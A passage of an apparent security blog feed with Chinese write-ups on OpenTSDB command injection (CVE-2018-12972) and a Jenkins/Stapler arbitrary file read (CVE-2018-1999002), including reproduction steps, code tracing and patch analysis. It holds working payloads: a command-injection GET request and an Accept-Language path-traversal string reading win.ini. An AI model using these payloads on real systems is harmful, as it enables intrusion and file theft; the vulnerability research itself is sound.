<p>发包，在参数位置处填入payload。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">GET /q?start=2018/07/05-00:00:00&amp;end=2018/07/30-00:00:00&amp;m=sum:rate:env.air&amp;o=%6ls%60&amp;yrange=%5B0:%5D&amp;wxh=1900x738&amp;style=linespoint&amp;json HTTP/1.1</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180731225945-5ccc0a58-94d2-1.png" alt="4.jpg"></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180731225945-5ce72842-94d2-1.png" alt="5.jpg"></p>
<h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul>
<li><a href="https://stackoverflow.com/questions/18396365/opentsdb-get-all-metrics-via-http" target="_blank" rel="external">https://stackoverflow.com/questions/18396365/opentsdb-get-all-metrics-via-http</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2511&quot;&gt;OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="java" scheme="http://chybeta.github.io/tags/java/"/>
    
      <category term="RCE" scheme="http://chybeta.github.io/tags/RCE/"/>
    
      <category term="opentsdb" scheme="http://chybeta.github.io/tags/opentsdb/"/>
    
      <category term="远程命令执行" scheme="http://chybeta.github.io/tags/%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
  </entry>
  
  <entry>
    <title>Jenkins 任意文件读取漏洞复现与分析 - 【CVE-2018-1999002】</title>
    <link href="http://chybeta.github.io/2018/08/07/Jenkins-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1999002%E3%80%91/"/>
    <id>http://chybeta.github.io/2018/08/07/Jenkins-任意文件读取漏洞复现与分析-【CVE-2018-1999002】/</id>
    <published>2018-08-07T14:25:11.000Z</published>
    <updated>2018-08-07T14:26:29.479Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2486" target="_blank" rel="external">Jenkins 任意文件读取漏洞复现与分析 - 【CVE-2018-1999002】</a><br><a id="more"></a></p>
<h1 id="SECURITY-914-CVE-2018-1999002"><a href="#SECURITY-914-CVE-2018-1999002" class="headerlink" title="SECURITY-914 / CVE-2018-1999002"></a>SECURITY-914 / CVE-2018-1999002</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">An arbitrary file read vulnerability in the Stapler web framework used by Jenkins allowed unauthenticated users to send crafted HTTP requests returning the contents of any file on the Jenkins master file system that the Jenkins master process has access to.</div><div class="line"></div><div class="line">Input validation in Stapler has been improved to prevent this.</div></pre></td></tr></table></figure>
<p>漏洞影响版本：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">Jenkins weekly up to and including 2.132</div><div class="line">Jenkins LTS up to and including 2.121.1</div></pre></td></tr></table></figure></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>测试环境： win平台</p>
<p>通过查找<a href="https://github.com/jenkinsci/jenkins/commit/29ca81dd59c255ad633f1bd86cf1be40a5f02c64" target="_blank" rel="external">commit记录</a>可知需要将其检出至 29ca81dd59c255ad633f1bd86cf1be40a5f02c64之前<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">&gt; git clone https://github.com/jenkinsci/jenkins.git</div><div class="line">&gt; git checkout 40250f08aca7f3f8816f21870ee23463a52ef2f2</div></pre></td></tr></table></figure></p>
<p>检查<code>core/pom.xml</code>的第41行，确保版本为<code>1.250</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">staplerFork</span>&gt;</span>true<span class="tag">&lt;/<span class="name">staplerFork</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">stapler.version</span>&gt;</span>1.250<span class="tag">&lt;/<span class="name">stapler.version</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p>然后命令行下编译war包<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">mvn clean install -pl war -am -DskipTests</div></pre></td></tr></table></figure></p>
<p>在<code>jenkins\war\target</code>目录下获得编译好的<code>jenkins.war</code>，同目录下启动：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">java -jar jenkins.war</div></pre></td></tr></table></figure></p>
<p>在管理员登陆（有cookie）的情况下</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180726004508-16df43d6-902a-1.png" alt="winini.jpg"></p>
<p>在没有登陆（未授权，cookie清空）的情况下，只有当管理员开启了<code>allow anonymous read access</code>的时候，才能实现任意文件读取，否则仍需登陆。</p>
<p>开启：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180726004508-17004bda-902a-1.png" alt="allow.jpg"></p>
<p>未开启：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180726004508-172abca8-902a-1.png" alt="noallow.jpg"></p>
<p>而在linux下利用条件会更加苛刻，见后文。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>以payload为例，请求的url为<code>/plugin/credentials/.ini</code>。而在<code>hudson/Plugin.java:227</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line">    * This method serves static resources in the plugin under &lt;tt&gt;hudson/plugin/SHORTNAME&lt;/tt&gt;.</div><div class="line">**/</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">doDynamic</span><span class="params">(StaplerRequest req, StaplerResponse rsp)</span> <span class="keyword">throws</span> IOException, ServletException </span>&#123;</div><div class="line">    String path = req.getRestOfPath();</div><div class="line"></div><div class="line">    String pathUC = path.toUpperCase(Locale.ENGLISH);</div><div class="line">    <span class="keyword">if</span> (path.isEmpty() || path.contains(<span class="string">".."</span>) || path.startsWith(<span class="string">"."</span>) || path.contains(<span class="string">"%"</span>) || pathUC.contains(<span class="string">"META-INF"</span>) || pathUC.contains(<span class="string">"WEB-INF"</span>)) &#123;</div><div class="line">        LOGGER.warning(<span class="string">"rejecting possibly malicious "</span> + req.getRequestURIWithQueryString());</div><div class="line">        rsp.sendError(HttpServletResponse.SC_BAD_REQUEST);</div><div class="line">        <span class="keyword">return</span>;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">// Stapler routes requests like the "/static/.../foo/bar/zot" to be treated like "/foo/bar/zot"</span></div><div class="line">    <span class="comment">// and this is used to serve long expiration header, by using Jenkins.VERSION_HASH as "..."</span></div><div class="line">    <span class="comment">// to create unique URLs. Recognize that and set a long expiration header.</span></div><div class="line">    String requestPath = req.getRequestURI().substring(req.getContextPath().length());</div><div class="line">    <span class="keyword">boolean</span> staticLink = requestPath.startsWith(<span class="string">"/static/"</span>);</div><div class="line"></div><div class="line">    <span class="keyword">long</span> expires = staticLink ? TimeUnit2.DAYS.toMillis(<span class="number">365</span>) : -<span class="number">1</span>;</div><div class="line"></div><div class="line">    <span class="comment">// use serveLocalizedFile to support automatic locale selection</span></div><div class="line">    rsp.serveLocalizedFile(req, <span class="keyword">new</span> URL(wrapper.baseResourceURL, <span class="string">'.'</span> + path), expires);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><code>doDynamic</code>函数用于处理类似<code>/plugin/xx</code>的请求，<code>serveLocalizedFile</code>在<code>stapler-1.250-sources.jar!/org/kohsuke/stapler/ResponseImpl.java</code>第209行左右：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">serveLocalizedFile</span><span class="params">(StaplerRequest request, URL res, <span class="keyword">long</span> expiration)</span> <span class="keyword">throws</span> ServletException, IOException </span>&#123;</div><div class="line">    <span class="keyword">if</span>(!stapler.serveStaticResource(request, <span class="keyword">this</span>, stapler.selectResourceByLocale(res,request.getLocale()), expiration))</div><div class="line">        sendError(SC_NOT_FOUND);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>先看最里面的<code>request.getLocale()</code>，然后再来分析<code>stapler.selectResourceByLocale()</code>。</p>
<p>跟入<code>request.getLocale()</code>，至<code>jetty-server-9.2.15.v20160210-sources.jar!/org/eclipse/jetty/server/Request.java:692</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="meta">@Override</span></div><div class="line"><span class="function"><span class="keyword">public</span> Locale <span class="title">getLocale</span><span class="params">()</span></span></div><div class="line">&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (size &gt; <span class="number">0</span>)</div><div class="line">    &#123;</div><div class="line">        String language = (String)acceptLanguage.get(<span class="number">0</span>);</div><div class="line">        language = HttpFields.valueParameters(language,<span class="keyword">null</span>);</div><div class="line">        String country = <span class="string">""</span>;</div><div class="line">        <span class="keyword">int</span> dash = language.indexOf(<span class="string">'-'</span>);</div><div class="line">        <span class="keyword">if</span> (dash &gt; -<span class="number">1</span>)</div><div class="line">        &#123;</div><div class="line">            country = language.substring(dash + <span class="number">1</span>).trim();</div><div class="line">            language = language.substring(<span class="number">0</span>,dash).trim();</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> Locale(language,country);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">return</span> Locale.getDefault();</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>这里用于处理HTTP请求中的<code>Accept-Language</code>头部。比如<code>zh-cn</code>，则会根据<code>-</code>的位置被分为两部分，<code>language</code>为<code>zh</code>，<code>country</code>为<code>cn</code>，然后返回<code>Locale(language,country)</code>对象。倘若不存在<code>-</code>，则<code>country</code>为空，<code>language</code>即对应我们的payload:<code>../../../../../../../../../../../../windows/win</code>，则此时返回一个<code>Locale(language,&quot;&quot;)</code></p>
<p>返回后即进入<code>selectResourceByLocale(URL url, Locale locale)</code>,这里的<code>locale</code>参数即上一步返回的locale对象。<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function">OpenConnection <span class="title">selectResourceByLocale</span><span class="params">(URL url, Locale locale)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="comment">// hopefully HotSpot would be able to inline all the virtual calls in here</span></div><div class="line">    <span class="keyword">return</span> urlLocaleSelector.open(url.toString(),locale,url);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><code>urlLocaleSelector</code>对象的声明见<code>stapler-1.250-sources.jar!/org/kohsuke/stapler/Stapler.java:390</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">final</span> LocaleDrivenResourceSelector urlLocaleSelector = <span class="keyword">new</span> LocaleDrivenResourceSelector() &#123;</div><div class="line">    <span class="meta">@Override</span></div><div class="line">    <span class="function">URL <span class="title">map</span><span class="params">(String url)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> URL(url);</div><div class="line">    &#125;</div><div class="line">&#125;;</div></pre></td></tr></table></figure></p>
<p>在<code>stapler-1.250-sources.jar!/org/kohsuke/stapler/Stapler.java:324</code>实现了<code>LocaleDrivenResourceSelector</code>类的<code>open</code>方法：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">LocaleDrivenResourceSelector</span> </span>&#123;</div><div class="line">    <span class="comment">/**</span></div><div class="line">        * The 'path' is divided into the base part and the extension, and the locale-specific</div><div class="line">        * suffix is inserted to the base portion. &#123;<span class="doctag">@link</span> #map(String)&#125; is used to convert</div><div class="line">        * the combined path into &#123;<span class="doctag">@link</span> URL&#125;, until we find one that works.</div><div class="line">        *</div><div class="line">        * &lt;p&gt;</div><div class="line">        * The syntax of the locale specific resource is the same as property file localization.</div><div class="line">        * So Japanese resource for &lt;tt&gt;foo.html&lt;/tt&gt; would be named &lt;tt&gt;foo_ja.html&lt;/tt&gt;.</div><div class="line">        *</div><div class="line">        * <span class="doctag">@param</span> path</div><div class="line">        *      path/URL-like string that represents the path of the base resource,</div><div class="line">        *      say "foo/bar/index.html" or "file:///a/b/c/d/efg.png"</div><div class="line">        * <span class="doctag">@param</span> locale</div><div class="line">        *      The preferred locale</div><div class="line">        * <span class="doctag">@param</span> fallback</div><div class="line">        *      The &#123;<span class="doctag">@link</span> URL&#125; representation of the &#123;<span class="doctag">@code</span> path&#125; parameter</div><div class="line">        *      Used as a fallback.</div><div class="line">        */</div><div class="line">    <span class="function">OpenConnection <span class="title">open</span><span class="params">(String path, Locale locale, URL fallback)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">        String s = path;</div><div class="line">        <span class="keyword">int</span> idx = s.lastIndexOf(<span class="string">'.'</span>);</div><div class="line">        <span class="keyword">if</span>(idx&lt;<span class="number">0</span>)   <span class="comment">// no file extension, so no locale switch available</span></div><div class="line">            <span class="keyword">return</span> openURL(fallback);</div><div class="line">        String base = s.substring(<span class="number">0</span>,idx);</div><div class="line">        String ext = s.substring(idx);</div><div class="line">        <span class="keyword">if</span>(ext.indexOf(<span class="string">'/'</span>)&gt;=<span class="number">0</span>) <span class="comment">// the '.' we found was not an extension separator</span></div><div class="line">            <span class="keyword">return</span> openURL(fallback);</div><div class="line"></div><div class="line">        OpenConnection con;</div><div class="line"></div><div class="line">        <span class="comment">// try locale specific resources first.</span></div><div class="line">        con = openURL(map(base + <span class="string">'_'</span> + locale.getLanguage() + <span class="string">'_'</span> + locale.getCountry() + <span class="string">'_'</span> + locale.getVariant() + ext));</div><div class="line">        <span class="keyword">if</span>(con!=<span class="keyword">null</span>)   <span class="keyword">return</span> con;</div><div class="line">        con = openURL(map(base+<span class="string">'_'</span>+ locale.getLanguage()+<span class="string">'_'</span>+ locale.getCountry()+ext));</div><div class="line">        <span class="keyword">if</span>(con!=<span class="keyword">null</span>)   <span class="keyword">return</span> con;</div><div class="line">        con = openURL(map(base+<span class="string">'_'</span>+ locale.getLanguage()+ext));</div><div class="line">        <span class="keyword">if</span>(con!=<span class="keyword">null</span>)   <span class="keyword">return</span> con;</div><div class="line">        <span class="comment">// default</span></div><div class="line">        <span class="keyword">return</span> openURL(fallback);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">/**</span></div><div class="line">        * Maps the 'path' into &#123;<span class="doctag">@link</span> URL&#125;.</div><div class="line">        */</div><div class="line">    <span class="function"><span class="keyword">abstract</span> URL <span class="title">map</span><span class="params">(String path)</span> <span class="keyword">throws</span> IOException</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>先看看开头的注释，这段代码本意是想根据对应的语言（Accept-Language）来返回不同的文件，比如在<code>ja</code>的条件下请求<code>foo.html</code>，则相当于去请求<code>foo_ja.html</code>，这个过程会先把<code>foo.html</code>分成两部分：文件名<code>foo</code>和扩展名<code>.html</code>，然后根据具体的语言/国家来组合成最终的文件名。</p>
<p>结合payload来看，我们请求的url为<code>/plugin/credentials/.ini</code>，则<code>base</code>为空，扩展名（ext变量）即为<code>.ini</code>，然后通过一系列的尝试openURL，在此例中即最后一个情形<code>con = openURL(map(base+&#39;_&#39;+ locale.getLanguage()+ext));</code>，会去请求<code>_../../../../../../../../../../../../windows/win.ini</code> ，尽管目录<code>_..</code>并不存在，但在win下可以直接通过路径穿越来绕过。但在linux，则需要一个带有<code>_</code>的目录来想办法绕过。</p>
<h1 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h1><p>Jenkins官方修改了pom.xml，同时增加一个测试用例文件。真正的补丁在<code>stapler</code>这个web框架中，见commit记录： <a href="https://github.com/stapler/stapler/commit/8e9679b08c36a2f0cf2a81855d5e04e2ed2ac2b3" target="_blank" rel="external">https://github.com/stapler/stapler/commit/8e9679b08c36a2f0cf2a81855d5e04e2ed2ac2b3</a> ：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180726004508-174a70d4-902a-1.png" alt="buding.png"></p>
<p>对从<code>locale</code>取出的<code>language</code>,<code>country</code>,<code>variant</code>均做了正则的校验，只允许字母数字以及特定格式的出现。在接下来的openUrl中，根据三种变量的不同检查情况来调用不同的请求，从而防止了路径穿越漏洞造成的任意文件读取漏洞。</p>
<h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul>
<li><a href="https://jenkins.io/security/advisory/2018-07-18/" target="_blank" rel="external">https://jenkins.io/security/advisory/2018-07-18/</a></li>
<li><a href="https://github.com/jenkinsci/jenkins/blob/d71ac6ffe98ee62e0353af7a948a4ae1a69b67e9/test/src/test/java/jenkins/security/stapler/Security914Test.java" target="_blank" rel="external">https://github.com/jenkinsci/jenkins/blob/d71ac6ffe98ee62e0353af7a948a4ae1a69b67e9/test/src/test/java/jenkins/security/stapler/Security914Test.java</a></li>
<li><a href="https://github.com/stapler/stapler/commit/8e9679b08c36a2f0cf2a81855d5e04e2ed2ac2b3" target="_blank" rel="external">https://github.com/stapler/stapler/commit/8e9679b08c36a2f0cf2a81855d5e04e2ed2ac2b3</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2486&quot;&gt;Jenkins 任意文件读取漏洞复现与分析 - 【CVE-2018-1999002】&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="任意文件读取" scheme="http://chybeta.github.io/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/"/>
    
      <category term="java" scheme="http://chybeta.github.io/tags/java/"/>
    
      <category term="Jenkins" scheme="http://chybeta.github.io/tags/Jenkins/"/>
    
  </entry>
  
</feed>
